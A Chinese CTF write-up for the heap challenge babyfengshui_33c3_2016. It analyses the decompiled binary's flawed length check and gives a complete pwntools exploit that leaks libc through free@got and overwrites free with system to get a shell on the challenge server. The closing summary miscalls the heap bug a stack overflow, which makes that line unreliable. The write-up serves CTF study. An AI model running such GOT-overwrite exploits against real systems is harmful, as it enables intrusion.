babyfengshui_33c3_2016
使用checksec查看:

开启了Canary和栈不可执行,看题目像是一道heap题目。
放进IDA中查看:
void __cdecl __noreturn main()
{
char v0; // [esp+3h] [ebp-15h]
int v1; // [esp+4h] [ebp-14h]
size_t v2; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
alarm(0x14u);
while ( 1 )
{
puts("0: Add a user");
puts("1: Delete a user");
puts("2: Display a user");
puts("3: Update a user description");
puts("4: Exit");
printf("Action: ");
if ( __isoc99_scanf("%d", &v1) == -1 )
break;
if ( !v1 )
{
printf("size of description: ");
__isoc99_scanf("%u%c", &v2, &v0);
sub_8048816(v2);
}
if ( v1 == 1 )
{
printf("index: ");
__isoc99_scanf("%d", &v2);
sub_8048905(v2);
}
if ( v1 == 2 )
{
printf("index: ");
__isoc99_scanf("%d", &v2);
sub_804898F(v2);
}
if ( v1 == 3 )
{
printf("index: ");
__isoc99_scanf("%d", &v2);
sub_8048724(v2);
}
if ( v1 == 4 )
{
puts("Bye");
exit(0);
}
if ( byte_804B069 > 0x31u )
{
puts("maximum capacity exceeded, bye");
exit(0);
}
}
exit(1);
}
看菜单,堆题,那就一步一步去分析:
首先是sub_8048816(v2)创建chunk:

-
s = malloc(a1);首先创建用户输入大小的chunk,里面数据置0 -
v2 = malloc(0x80u);接着会创建一个0x80大小的chunk,里面数据置0 -
*v2 = s;第一次申请的chunk的地址放入第二次申请的chunk中
跟进sub_80486BB函数:

- 匹配
\n:也就是说如果name不为空,将第一次申请的chunk的name存放在*v2+4处
跟进sub_8048724:

if ( (v3 + *ptr[a1]) >= ptr[a1] - 4 ):v3是由用户输入的,*ptr[a1]实际就是s,ptr[a1] - 4实际是name的地址,也就是验证chunk1和chunk2之间的距离。
接着看删除函数:

- 清空数据,清空指针,没啥毛病
输出函数:

- 显示数据,也没啥毛病。
update:

- 就是create中的
sub_8048724函数。
题目思路:
-
判断数据长度是否合法的地方有问题,可以通过申请连续小堆块,再释放,接着申请大堆块的方式绕过。
- 首先申请连续的3个chunk012,本题用
0x80,方便计算。 - 释放第一个结构体,得到一个空闲的0x100的堆块
- 申请新的结构体,大小为
0x100 - 那么用户新申请的
0x100大小的chunk将会在chunk1前面,程序自动申请的0x80大小的chunk将会在chunk2后面 - 校验写入数据大小是否合法时校验的是这两个chunk之间的距离。
- 也就是说现在我们可写入的大小是
0x100+0x80+0x80+0x80+0x80 - 修改系统创建的chunk1中存储chunk1地址的位置的数据,修改成
free@got造成libc泄露。 - 在libc中找到
system的地址 - 将
free地址内的内容替换为system - 执行
free(2)将会执行system(/bin/sh)
exp:
from pwn import * #start r = remote("node4.buuoj.cn",29291) # r = process("../buu/babyfengshui_33c3_2016") elf = ELF("../buu/babyfengshui_33c3_2016") libc = ELF("../buu/ubuntu16(32).so") def add(size,name,length,text): r.sendlineafter("Action: ",'0') r.sendlineafter("description: ",str(size)) r.sendlineafter("name: ",name) r.sendlineafter("text length: ",str(length)) r.sendlineafter("text: ",text) def delete(index): r.sendlineafter("Action: ", '1') r.sendlineafter("index: ", str(index)) def show(index): r.sendlineafter("Action: ", '2') r.sendlineafter("index: ", str(index)) def edit(index, length, text): r.sendlineafter("Action: ", '3') r.sendlineafter("index: ", str(index)) r.sendlineafter("length: ", str(length)) r.sendlineafter("text: ", text) #params free_got = elf.got['free'] #attack add(0x80,"M1",0x80,"MMMM") add(0x80,"M2",0x80,"MMMM") add(0x80,"M3",0x80,"/bin/sh\x00") # gdb.attach(r) delete(0) payload = b'M'*0x198 + p32(free_got) add(0x100,"MM1",0x19c,payload) show(1) r.recvuntil("description: ") free_addr = u32(r.recv(4)) #libc base_addr = free_addr - libc.symbols['free'] system_addr = base_addr + libc.symbols['system'] #attack2 edit(1,0x4,p32(system_addr)) delete(2) r.interactive() - 首先申请连续的3个chunk012,本题用
本文详细解析了如何通过构造连续小堆块并利用错误检查绕过,最终在babyfengshui_33c3_2016的heap题目中实现栈溢出,利用got表进行libc地址泄露,进而执行系统调用。攻击步骤包括申请、释放、修改chunk间距和利用free@got引发代码执行。
787

被折叠的 条评论
为什么被折叠?



